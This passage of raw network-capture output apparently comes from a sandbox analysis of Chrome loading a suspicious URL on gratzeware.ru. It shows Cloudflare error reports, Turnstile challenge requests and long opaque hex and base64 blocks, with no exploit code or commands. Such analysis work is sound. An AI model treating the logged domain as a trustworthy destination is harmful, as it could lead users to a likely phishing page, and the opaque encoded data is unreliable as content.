mKGaxcrBmYy7xsOsqJO8jLbModLFudPNsJHf1dCirpzl4MjEnKKmu+SournerfKtxLKzx7Xs+vPT2c3qzb7l9gjE4skCwev22t/x/g/8Af0S+BHRFe4RENcf7u8DDh0aHeYhHiEN5gAjKSXp6zMHBBgKBBI6+xgM/Ss7HTI4Izo7P0UDP0MGQBgNDD8iURMVL0xMWlg8UC9dWy49PF9NZFFcIWJWJlxpXk8+cFRkci0zMEVWaFM8V19OP3+AeF1
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 61 57 6a 5a 57 62 6d 58 31 61 6b 34 43 62 6f 56 56 66 63 33 74 6e 70 6d 65 72 65 47 4f 6c 68 47 57 77 68 61 61 6d 62 59 78 30 62 6f 36 42 6b 49 69 33 6d 35 2b 30 66 5a 36 34 6d 4b 47 44 66 35 7a 45 79 71 4b 43 70 4b 43 65 79 70 2f 47 78 38 32 54 7a 74 61 79 79 59 2f 4d 70 64 58 56 6e 71 2b 31 6d 4a 54 52 6f 38 37 56 6f 39 6a 44 31 2b 44 57 75 74 72 64 36 4f 58 66 7a 64 32 2f 71 4f 4c 4f 39 4f 50 70 2f 65 66 74 37 75 6e 4a 75 63 7a 38 38 66 50 5a 2b 76 50 6d 41 67 37 4e 41 74 2f 59 45 4f 51 52 7a 73 2f 55 47 66 6a 55 43 4f 58 56 38 4e 54 73 41 74 2f 5a 48 2f 58 32 33 76 41 67 48 43 41 6f 2f 65 77 65 4c 43 67 6b 4b 4f 6f 47 39 43 59 35 4d 43 77 77 50 51 37 38 4c 76 73 34 4e 44 67 41 46 67 55 32 41 6b 41 38 51 44 59 65 44 54 34 36 53 45 52 49 50 53 59 56 52 Data Ascii: aWjZWbmX1ak4CboVVfc3tnpmereGOlhGWwhaambYx0bo6BkIi3m5+0fZ64mKGDf5zEyqKCpKCeyp/Gx82TztayyY/MpdXVnq+1mJTRo87Vo9jD1+DWutrd6OXfzd2/qOLO9OPp/eft7unJucz88fPZ+vPmAg7NAt/YEOQRzs/UGfjUCOXV8NTsAt/ZH/X23vAgHCAo/eweLCgkKOoG9CY5MCwwPQ78Lvs4NDgAFgU2AkA8QDYeDT46SERIPSYVR
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 57 65 48 74 78 65 56 32 5a 59 48 39 32 70 58 47 42 6e 57 53 6e 62 4b 61 4f 69 5a 79 44 69 57 65 58 69 48 4b 44 70 34 75 62 6a 35 2b 51 65 63 47 76 6b 36 53 65 6f 72 47 68 67 49 6a 43 70 4c 66 4e 78 49 79 49 77 63 36 6d 76 73 69 6c 74 74 6d 6f 73 70 75 56 71 38 6d 6f 6c 37 43 67 74 4f 61 7a 70 61 4f 6e 74 73 7a 4d 71 37 72 4e 30 4b 2b 2b 30 74 53 7a 77 74 50 59 74 38 62 59 32 2b 72 61 30 39 76 71 77 64 58 74 35 63 34 46 41 75 4c 63 31 4e 2f 6d 35 50 37 68 79 74 41 43 30 4f 76 7a 7a 51 66 6c 7a 50 76 54 31 50 33 39 48 50 44 7a 32 67 34 48 41 66 48 34 42 66 62 71 43 79 55 76 42 43 4d 6f 44 75 2f 38 38 76 4d 78 4d 66 67 31 50 51 59 66 49 50 74 41 46 6a 41 5a 42 43 39 48 53 52 67 59 49 55 67 69 51 41 59 66 48 68 6f 6e 4a 69 42 46 4d 6c 41 6d 57 42 6f 34 4b 6b Data Ascii: WeHtxeV2ZYH92pXGBnWSnbKaOiZyDiWeXiHKDp4ubj5+QecGvk6SeorGhgIjCpLfNxIyIwc6mvsilttmospuVq8mol7CgtOazpaOntszMq7rN0K++0tSzwtPYt8bY2+ra09vqwdXt5c4FAuLc1N/m5P7hytAC0OvzzQflzPvT1P39HPDz2g4HAfH4BfbqCyUvBCMoDu/88vMxMfg1PQYfIPtAFjAZBC9HSRgYIUgiQAYfHhonJiBFMlAmWBo4Kk
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 5a 4a 57 53 6e 35 75 66 6c 6e 31 73 6e 5a 65 6e 6f 36 65 68 70 34 79 53 6a 59 47 33 71 4b 6d 31 6e 6e 6d 72 6b 71 48 44 76 73 4b 78 67 36 4b 36 6f 6f 43 57 74 71 6a 4f 77 4b 53 77 79 38 54 4f 77 74 48 49 30 72 4c 4e 6c 62 69 73 6d 71 2b 6f 6b 38 75 64 76 4c 36 79 79 4e 7a 63 71 65 4b 6f 72 4f 62 49 7a 4b 6a 6a 30 65 33 70 79 4d 76 71 73 39 54 4b 33 4c 66 55 30 4e 66 4f 39 75 7a 45 7a 2f 76 65 77 65 4d 4b 39 2b 6a 46 2f 76 66 64 7a 74 73 4f 30 68 58 6b 79 52 62 36 44 42 7a 30 31 67 37 5a 48 77 50 75 41 42 6b 61 38 68 2f 6c 46 43 4d 41 43 65 51 6b 44 69 77 51 42 66 30 67 46 77 51 32 47 6a 6f 62 2b 68 73 66 2b 50 63 54 4c 50 67 6c 4a 69 51 6d 50 43 49 66 48 69 4d 6a 4c 69 4e 4d 4a 6b 49 51 54 55 39 55 4e 52 46 53 54 6c 41 36 54 46 78 4e 53 78 31 55 57 45 38 Data Ascii: ZJWSn5ufln1snZeno6ehp4ySjYG3qKm1nnmrkqHDvsKxg6K6ooCWtqjOwKSwy8TOwtHI0rLNlbismq+ok8udvL6yyNzcqeKorObIzKjj0e3pyMvqs9TK3LfU0NfO9uzEz/veweMK9+jF/vfdztsO0hXkyRb6DBz01g7ZHwPuABka8h/lFCMACeQkDiwQBf0gFwQ2Gjob+hsf+PcTLPglJiQmPCIfHiMjLiNMJkIQTU9UNRFSTlA6TFxNSx1UWE8
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 61 57 64 5a 47 32 42 69 47 39 77 6a 5a 32 6c 64 5a 57 7a 6f 72 4b 62 69 36 31 37 71 48 69 77 6b 58 71 45 75 71 53 78 71 72 53 6d 6e 4d 47 5a 6d 35 6d 77 30 38 4b 73 79 63 6d 79 73 70 57 6b 79 63 58 52 30 37 33 50 33 39 44 4f 6f 4e 66 62 30 72 6d 6f 32 64 50 6a 33 2b 50 64 34 38 6a 4f 79 62 33 7a 35 4f 58 78 32 72 58 6e 7a 74 30 41 38 2f 58 4a 2f 62 7a 54 31 51 44 41 31 39 72 5a 78 4e 76 64 78 41 34 4b 44 65 38 45 39 51 50 71 39 76 62 6d 39 2b 76 35 2f 52 37 59 39 69 44 74 37 51 59 54 2b 67 62 38 42 52 62 33 43 2f 30 4e 42 42 7a 39 2f 76 73 7a 4b 67 34 35 42 54 41 59 4b 78 51 52 47 69 33 36 44 2f 34 66 49 42 34 50 4a 7a 38 59 43 55 6b 5a 4e 77 30 67 4d 69 46 4e 51 56 4d 65 49 6a 68 4c 47 55 51 56 4f 56 55 59 4c 7a 6f 67 48 52 73 77 58 43 63 79 55 55 64 41 Data Ascii: aWdZG2BiG9wjZ2ldZWzorKbi617qHiwkXqEuqSxqrSmnMGZm5mw08KsycmyspWkycXR073P39DOoNfb0rmo2dPj3+Pd48jOyb3z5OXx2rXnzt0A8/XJ/bzT1QDA19rZxNvdxA4KDe8E9QPq9vbm9+v5/R7Y9iDt7QYT+gb8BRb3C/0NBBz9/vszKg45BTAYKxQRGi36D/4fIB4PJz8YCUkZNw0gMiFNQVMeIjhLGUQVOVUYLzogHRswXCcyUUdA
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 35 75 62 37 4f 70 6b 6f 69 71 73 59 69 57 6a 71 6c 2b 6c 5a 42 30 67 37 6d 74 76 4a 56 36 68 61 47 42 75 49 57 70 6e 63 65 66 6d 38 62 48 7a 4b 53 79 72 64 6a 57 75 4c 4f 58 75 4b 69 57 33 39 71 35 30 4d 47 39 33 4f 57 33 77 74 33 68 77 72 69 36 33 65 71 76 77 61 2f 72 30 38 48 70 7a 62 61 33 31 4b 2f 71 74 65 48 4c 37 75 32 36 77 4d 36 39 2f 50 54 66 31 2f 63 4a 34 50 73 41 37 66 72 54 7a 68 48 79 38 52 62 6f 32 4e 63 62 31 67 76 56 41 75 73 50 44 74 2f 69 41 65 45 58 2f 42 59 62 39 51 49 65 48 51 6b 43 2b 78 51 42 39 42 62 77 46 54 48 33 43 42 62 37 2b 43 7a 34 47 68 55 45 4d 6b 4d 6b 4f 54 6b 79 47 51 4e 4e 49 41 67 35 48 69 6c 52 44 45 45 56 48 79 4a 42 52 79 38 75 4f 42 55 62 4f 54 38 2b 4f 43 39 43 51 31 4a 4a 51 47 52 46 4e 31 70 61 52 55 49 77 52 Data Ascii: 5ub7OpkoiqsYiWjql+lZB0g7mtvJV6haGBuIWpncefm8bHzKSyrdjWuLOXuKiW39q50MG93OW3wt3hwri63eqvwa/r08Hpzba31K/qteHL7u26wM69/PTf1/cJ4PsA7frTzhHy8Rbo2Ncb1gvVAusPDt/iAeEX/BYb9QIeHQkC+xQB9BbwFTH3CBb7+Cz4GhUEMkMkOTkyGQNNIAg5HilRDEEVHyJBRy8uOBUbOT8+OC9CQ1JJQGRFN1paRUIwR
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 72 72 58 53 75 66 4b 65 55 64 35 61 72 6e 34 36 44 6f 4c 79 36 73 73 65 6f 79 34 65 35 6d 59 72 44 78 70 32 47 6a 71 50 46 31 73 32 35 33 4b 6e 50 73 36 75 38 72 5a 71 7a 31 64 72 58 32 4c 44 66 75 65 44 70 79 38 37 66 35 63 33 42 35 4f 76 65 34 72 2b 76 32 75 54 6a 74 73 2f 53 38 74 55 41 7a 39 7a 34 7a 67 44 78 2f 67 72 6d 78 63 49 42 33 50 44 65 44 52 4d 46 35 66 34 41 39 76 49 54 30 39 66 79 31 4f 38 62 46 66 62 67 47 66 72 6a 49 76 58 35 35 53 45 6e 2b 67 76 75 4b 67 77 50 49 79 41 74 46 54 48 31 4f 44 49 6c 4a 6a 59 58 4d 69 6f 71 44 76 6f 66 4f 6a 34 6f 42 69 63 30 4d 30 45 63 49 41 59 78 4d 43 41 30 4b 54 45 53 46 45 31 46 45 6b 77 71 55 31 51 38 56 6b 78 41 4f 31 4d 36 51 7a 34 78 4f 44 4a 71 5a 45 67 75 58 45 5a 63 58 6b 64 45 54 69 31 71 57 45 Data Ascii: rrXSufKeUd5arn46DoLy6sseoy4e5mYrDxp2GjqPF1s253KnPs6u8rZqz1drX2LDfueDpy87f5c3B5Ove4r+v2uTjts/S8tUAz9z4zgDx/grmxcIB3PDeDRMF5f4A9vIT09fy1O8bFfbgGfrjIvX55SEn+gvuKgwPIyAtFTH1ODIlJjYXMioqDvofOj4oBic0M0EcIAYxMCA0KTESFE1FEkwqU1Q8VkxAO1M6Qz4xODJqZEguXEZcXkdETi1qWE
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 6c 59 36 6a 6b 62 69 6b 68 4c 4f 6f 68 5a 32 61 7a 4c 69 2b 69 73 32 37 6f 61 54 55 7a 6f 69 4a 32 4c 71 51 71 64 76 59 74 62 43 5a 72 38 36 5a 7a 4c 43 30 30 61 61 38 36 4b 48 49 31 36 71 72 71 2b 2f 54 77 38 7a 6b 72 65 76 71 73 37 69 7a 2b 72 62 71 74 65 6a 4c 32 4f 33 43 32 41 57 39 35 50 50 47 78 2b 51 50 43 51 37 59 37 64 41 4c 38 75 30 42 35 2b 33 4c 2b 2b 7a 57 35 77 7a 76 41 50 4d 45 39 4e 30 6d 46 50 63 4a 41 77 63 57 42 75 54 73 4a 77 6b 63 4d 69 6e 77 37 43 59 7a 36 68 4d 76 4d 42 50 76 44 68 63 56 41 68 49 75 4d 2f 73 56 42 52 6c 4c 47 41 6f 49 44 42 73 78 50 46 41 50 43 6b 52 55 4c 6b 6f 5a 45 53 4d 76 57 54 68 41 4b 69 6f 72 4e 7a 51 62 54 32 52 49 4a 57 46 6e 53 6a 5a 71 50 79 68 42 54 44 73 74 56 56 39 57 55 31 46 50 63 7a 78 6c 57 47 74 Data Ascii: lY6jkbikhLOohZ2azLi+is27oaTUzoiJ2LqQqdvYtbCZr86ZzLC00aa86KHI16qrq+/Tw8zkrevqs7iz+rbqtejL2O3C2AW95PPGx+QPCQ7Y7dAL8u0B5+3L++zW5wzvAPME9N0mFPcJAwcWBuTsJwkcMinw7CYz6hMvMBPvDhcVAhIuM/sVBRlLGAoIDBsxPFAPCkRULkoZESMvWThAKiorNzQbT2RIJWFnSjZqPyhBTDstVV9WU1FPczxlWGt
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 4c 7a 49 6c 35 61 6f 6d 35 6d 35 70 59 32 74 6f 61 65 31 68 38 47 6e 77 62 4b 73 31 59 36 57 78 73 6d 71 31 73 4c 4e 31 74 4c 47 30 64 6d 66 79 74 58 64 36 73 37 5a 33 38 69 38 38 4b 7a 54 78 2b 37 6c 30 73 37 4c 32 50 6a 70 38 39 58 76 2f 62 57 32 34 39 7a 59 42 39 33 2b 76 51 7a 4e 2f 73 37 47 33 4f 7a 71 45 75 73 51 44 4f 37 59 31 74 50 58 48 42 45 4e 2b 42 4d 61 39 50 7a 64 46 75 62 39 39 76 33 7a 39 43 49 4f 4d 66 77 50 48 68 55 50 41 42 41 43 46 50 41 71 45 78 63 4a 39 67 77 66 48 41 4d 69 42 51 4c 34 46 43 46 44 41 6a 73 56 41 43 63 59 52 45 67 77 54 45 59 49 4b 30 6b 50 55 46 63 54 4c 6c 41 36 49 43 6f 35 58 53 34 79 50 6a 59 78 56 45 59 70 4c 47 55 75 52 47 77 71 63 55 31 43 56 6b 6c 76 62 57 34 33 56 58 42 34 61 6b 30 38 4f 49 4d 38 54 30 4a 6c Data Ascii: LzIl5aom5m5pY2toae1h8GnwbKs1Y6Wxsmq1sLN1tLG0dmfytXd6s7Z38i88KzTx+7l0s7L2Pjp89Xv/bW249zYB93+vQzN/s7G3OzqEusQDO7Y1tPXHBEN+BMa9PzdFub99v3z9CIOMfwPHhUPABACFPAqExcJ9gwfHAMiBQL4FCFDAjsVACcYREgwTEYIK0kPUFcTLlA6ICo5XS4yPjYxVEYpLGUuRGwqcU1CVklvbW43VXB4ak08OIM8T0Jl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	62509	35.190.80.1	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:26 UTC	537	OUT	OPTIONS /report/v4?s=%2FEsafJ17MlZZrdaXoUhyQFDm4U2TtZnr3PYptGsmrUZnQGVuGRCvf3jjjT7n%2B%2FWC09CVJteTJytLkz2J8N6qg4zD0ER1ZiX1K3BkrRgQ1Zq6gTUzRzQpQBIWacjfBw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://8zkl.gratzeware.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:26 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 13 Jan 2025 20:17:26 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	62510	35.190.80.1	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:26 UTC	476	OUT	POST /report/v4?s=%2FEsafJ17MlZZrdaXoUhyQFDm4U2TtZnr3PYptGsmrUZnQGVuGRCvf3jjjT7n%2B%2FWC09CVJteTJytLkz2J8N6qg4zD0ER1ZiX1K3BkrRgQ1Zq6gTUzRzQpQBIWacjfBw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 434 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:26 UTC	434	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 38 7a 6b 6c 2e 67 72 61 74 7a 65 77 61 72 65 2e 72 75 2f 37 61 78 61 36 52 76 4f 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 33 33 2e 37 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 Data Ascii: [{"age":0,"body":{"elapsed_time":119,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://8zkl.gratzeware.ru/7axa6RvO/","sampling_fraction":1.0,"server_ip":"104.21.33.70","status_code":404,"type":"http.error"},"type":"network-err
2025-01-13 20:17:26 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Mon, 13 Jan 2025 20:17:26 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	62511	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:27 UTC	1169	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/96814495:1736795532:nJXw9Ah0pI6fzqrx22pZro_KXGNUez3UM1CqCt48c0k/901811ce6a59f797/SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3187 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:27 UTC	3187	OUT	Data Raw: 76 5f 39 30 31 38 31 31 63 65 36 61 35 39 66 37 39 37 3d 79 78 50 30 6f 30 24 30 75 30 7a 30 44 43 33 71 43 33 66 30 43 4f 76 42 47 4b 4f 33 49 43 69 69 33 54 65 33 76 48 30 43 4e 33 41 30 76 50 4b 76 51 4e 50 33 6b 72 4e 33 46 6d 43 58 79 33 57 30 43 66 50 33 76 6a 38 78 73 56 33 6a 42 33 77 33 43 78 33 6a 50 67 48 33 65 33 73 48 76 69 33 42 48 72 50 78 30 30 47 48 73 69 49 30 47 41 45 33 6a 48 76 5a 36 30 50 66 32 53 62 4f 48 41 78 4d 6b 4a 63 48 73 51 53 5a 63 71 50 73 35 33 72 7a 51 33 50 37 36 65 46 68 59 33 56 35 30 33 32 6d 33 4b 75 68 50 71 51 4f 67 44 4d 36 39 68 5a 39 57 57 30 76 6a 62 46 6d 30 33 43 45 58 33 5a 7a 4b 69 32 50 6d 69 72 7a 6f 33 50 50 33 52 77 68 2d 31 5a 32 61 6e 46 75 58 33 73 39 35 33 72 4c 4a 33 5a 5a 78 76 4d 78 4f 57 2d 36 Data Ascii: v_901811ce6a59f797=yxP0o0$0u0z0DC3qC3f0COvBGKO3ICii3Te3vH0CN3A0vPKvQNP3krN3FmCXy3W0CfP3vj8xsV3jB3w3Cx3jPgH3e3sHvi3BHrPx00GHsiI0GAE3jHvZ60Pf2SbOHAxMkJcHsQSZcqPs53rzQ3P76eFhY3V5032m3KuhPqQOgDM69hZ9WW0vjbFm03CEX3ZzKi2Pmirzo3PP3Rwh-1Z2anFuX3s953rLJ3ZZxvMxOW-6
2025-01-13 20:17:27 UTC	751	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:27 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 153056 Connection: close cf-chl-gen: iWA9pEDbm7SBoTiYm4RhsplEF5KrN+MjYO3BpKRjEbNmyEsnkZLjLeryyOaHFdklKBAgnUgAwq4OVI4WKXWGJE93VGINZwk5Yt6s+YfGxLODvT0MLCyGA4v4ows5yQCgnQdea2aiT+unclxeMLGsWMhAff4iOnbhl+af411SQmn3grnCtUeyg1qXdC6l0pharAeU7WUIH1ozNYQhj2A45V9mNvFsSost1SIzGU7vMbYzwkTkMhNuGH7F+BL0ROyNAFKUWG0p75XMYjBe8c4ylLX4xfflXTnbnJvZHw9tM3cODQd8cOtqX2kh4KdHB5p2i65qbG27VstrhIieeglrWHpt2o9/pVtXnVptJrhCvdff+gPSeHt4uD5X5U1YeRty3bFdF6s1P0Nq4avnFKVq19vDIR+R9ACuGGSf9r6xJAZXSlrGjp8DPVmNVSX2rFSTEuTizbjNNfcZYEJ1jVlVRLtGV2shfwSBpzp69FW1eV4=$WoXXWoEJ54xvn3VpWPVvhA== Server: cloudflare CF-RAY: 901811e388985e80-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:27 UTC	618	IN	Data Raw: 6d 4b 47 61 78 63 72 42 6d 59 79 37 78 73 4f 73 71 4a 4f 38 6a 4c 62 4d 6f 64 4c 46 75 64 50 4e 73 4a 48 66 31 64 43 69 72 70 7a 6c 34 4d 6a 45 6e 4b 4b 6d 75 2b 53 6f 75 72 6e 65 72 66 4b 74 78 4c 4b 7a 78 37 58 73 2b 76 50 54 32 63 33 71 7a 62 37 6c 39 67 6a 45 34 73 6b 43 77 65 76 32 32 74 2f 78 2f 67 2f 38 41 66 30 53 2b 42 48 52 46 65 34 52 45 4e 63 66 37 75 38 44 44 68 30 61 48 65 59 68 48 69 45 4e 35 67 41 6a 4b 53 58 70 36 7a 4d 48 42 42 67 4b 42 42 49 36 2b 78 67 4d 2f 53 73 37 48 54 49 34 49 7a 6f 37 50 30 55 44 50 30 4d 47 51 42 67 4e 44 44 38 69 55 52 4d 56 4c 30 78 4d 57 6c 67 38 55 43 39 64 57 79 34 39 50 46 39 4e 5a 46 46 63 49 57 4a 57 4a 6c 78 70 58 6b 38 2b 63 46 52 6b 63 69 30 7a 4d 45 56 57 61 46 4d 38 56 31 39 4f 50 33 2b 41 65 46 31 Data Ascii: mKGaxcrBmYy7xsOsqJO8jLbModLFudPNsJHf1dCirpzl4MjEnKKmu+SournerfKtxLKzx7Xs+vPT2c3qzb7l9gjE4skCwev22t/x/g/8Af0S+BHRFe4RENcf7u8DDh0aHeYhHiEN5gAjKSXp6zMHBBgKBBI6+xgM/Ss7HTI4Izo7P0UDP0MGQBgNDD8iURMVL0xMWlg8UC9dWy49PF9NZFFcIWJWJlxpXk8+cFRkci0zMEVWaFM8V19OP3+AeF1
2025-01-13 20:17:27 UTC	1369	IN	Data Raw: 61 57 6a 5a 57 62 6d 58 31 61 6b 34 43 62 6f 56 56 66 63 33 74 6e 70 6d 65 72 65 47 4f 6c 68 47 57 77 68 61 61 6d 62 59 78 30 62 6f 36 42 6b 49 69 33 6d 35 2b 30 66 5a 36 34 6d 4b 47 44 66 35 7a 45 79 71 4b 43 70 4b 43 65 79 70 2f 47 78 38 32 54 7a 74 61 79 79 59 2f 4d 70 64 58 56 6e 71 2b 31 6d 4a 54 52 6f 38 37 56 6f 39 6a 44 31 2b 44 57 75 74 72 64 36 4f 58 66 7a 64 32 2f 71 4f 4c 4f 39 4f 50 70 2f 65 66 74 37 75 6e 4a 75 63 7a 38 38 66 50 5a 2b 76 50 6d 41 67 37 4e 41 74 2f 59 45 4f 51 52 7a 73 2f 55 47 66 6a 55 43 4f 58 56 38 4e 54 73 41 74 2f 5a 48 2f 58 32 33 76 41 67 48 43 41 6f 2f 65 77 65 4c 43 67 6b 4b 4f 6f 47 39 43 59 35 4d 43 77 77 50 51 37 38 4c 76 73 34 4e 44 67 41 46 67 55 32 41 6b 41 38 51 44 59 65 44 54 34 36 53 45 52 49 50 53 59 56 52 Data Ascii: aWjZWbmX1ak4CboVVfc3tnpmereGOlhGWwhaambYx0bo6BkIi3m5+0fZ64mKGDf5zEyqKCpKCeyp/Gx82TztayyY/MpdXVnq+1mJTRo87Vo9jD1+DWutrd6OXfzd2/qOLO9OPp/eft7unJucz88fPZ+vPmAg7NAt/YEOQRzs/UGfjUCOXV8NTsAt/ZH/X23vAgHCAo/eweLCgkKOoG9CY5MCwwPQ78Lvs4NDgAFgU2AkA8QDYeDT46SERIPSYVR
2025-01-13 20:17:27 UTC	1369	IN	Data Raw: 57 65 48 74 78 65 56 32 5a 59 48 39 32 70 58 47 42 6e 57 53 6e 62 4b 61 4f 69 5a 79 44 69 57 65 58 69 48 4b 44 70 34 75 62 6a 35 2b 51 65 63 47 76 6b 36 53 65 6f 72 47 68 67 49 6a 43 70 4c 66 4e 78 49 79 49 77 63 36 6d 76 73 69 6c 74 74 6d 6f 73 70 75 56 71 38 6d 6f 6c 37 43 67 74 4f 61 7a 70 61 4f 6e 74 73 7a 4d 71 37 72 4e 30 4b 2b 2b 30 74 53 7a 77 74 50 59 74 38 62 59 32 2b 72 61 30 39 76 71 77 64 58 74 35 63 34 46 41 75 4c 63 31 4e 2f 6d 35 50 37 68 79 74 41 43 30 4f 76 7a 7a 51 66 6c 7a 50 76 54 31 50 33 39 48 50 44 7a 32 67 34 48 41 66 48 34 42 66 62 71 43 79 55 76 42 43 4d 6f 44 75 2f 38 38 76 4d 78 4d 66 67 31 50 51 59 66 49 50 74 41 46 6a 41 5a 42 43 39 48 53 52 67 59 49 55 67 69 51 41 59 66 48 68 6f 6e 4a 69 42 46 4d 6c 41 6d 57 42 6f 34 4b 6b Data Ascii: WeHtxeV2ZYH92pXGBnWSnbKaOiZyDiWeXiHKDp4ubj5+QecGvk6SeorGhgIjCpLfNxIyIwc6mvsilttmospuVq8mol7CgtOazpaOntszMq7rN0K++0tSzwtPYt8bY2+ra09vqwdXt5c4FAuLc1N/m5P7hytAC0OvzzQflzPvT1P39HPDz2g4HAfH4BfbqCyUvBCMoDu/88vMxMfg1PQYfIPtAFjAZBC9HSRgYIUgiQAYfHhonJiBFMlAmWBo4Kk
2025-01-13 20:17:27 UTC	1369	IN	Data Raw: 5a 4a 57 53 6e 35 75 66 6c 6e 31 73 6e 5a 65 6e 6f 36 65 68 70 34 79 53 6a 59 47 33 71 4b 6d 31 6e 6e 6d 72 6b 71 48 44 76 73 4b 78 67 36 4b 36 6f 6f 43 57 74 71 6a 4f 77 4b 53 77 79 38 54 4f 77 74 48 49 30 72 4c 4e 6c 62 69 73 6d 71 2b 6f 6b 38 75 64 76 4c 36 79 79 4e 7a 63 71 65 4b 6f 72 4f 62 49 7a 4b 6a 6a 30 65 33 70 79 4d 76 71 73 39 54 4b 33 4c 66 55 30 4e 66 4f 39 75 7a 45 7a 2f 76 65 77 65 4d 4b 39 2b 6a 46 2f 76 66 64 7a 74 73 4f 30 68 58 6b 79 52 62 36 44 42 7a 30 31 67 37 5a 48 77 50 75 41 42 6b 61 38 68 2f 6c 46 43 4d 41 43 65 51 6b 44 69 77 51 42 66 30 67 46 77 51 32 47 6a 6f 62 2b 68 73 66 2b 50 63 54 4c 50 67 6c 4a 69 51 6d 50 43 49 66 48 69 4d 6a 4c 69 4e 4d 4a 6b 49 51 54 55 39 55 4e 52 46 53 54 6c 41 36 54 46 78 4e 53 78 31 55 57 45 38 Data Ascii: ZJWSn5ufln1snZeno6ehp4ySjYG3qKm1nnmrkqHDvsKxg6K6ooCWtqjOwKSwy8TOwtHI0rLNlbismq+ok8udvL6yyNzcqeKorObIzKjj0e3pyMvqs9TK3LfU0NfO9uzEz/veweMK9+jF/vfdztsO0hXkyRb6DBz01g7ZHwPuABka8h/lFCMACeQkDiwQBf0gFwQ2Gjob+hsf+PcTLPglJiQmPCIfHiMjLiNMJkIQTU9UNRFSTlA6TFxNSx1UWE8
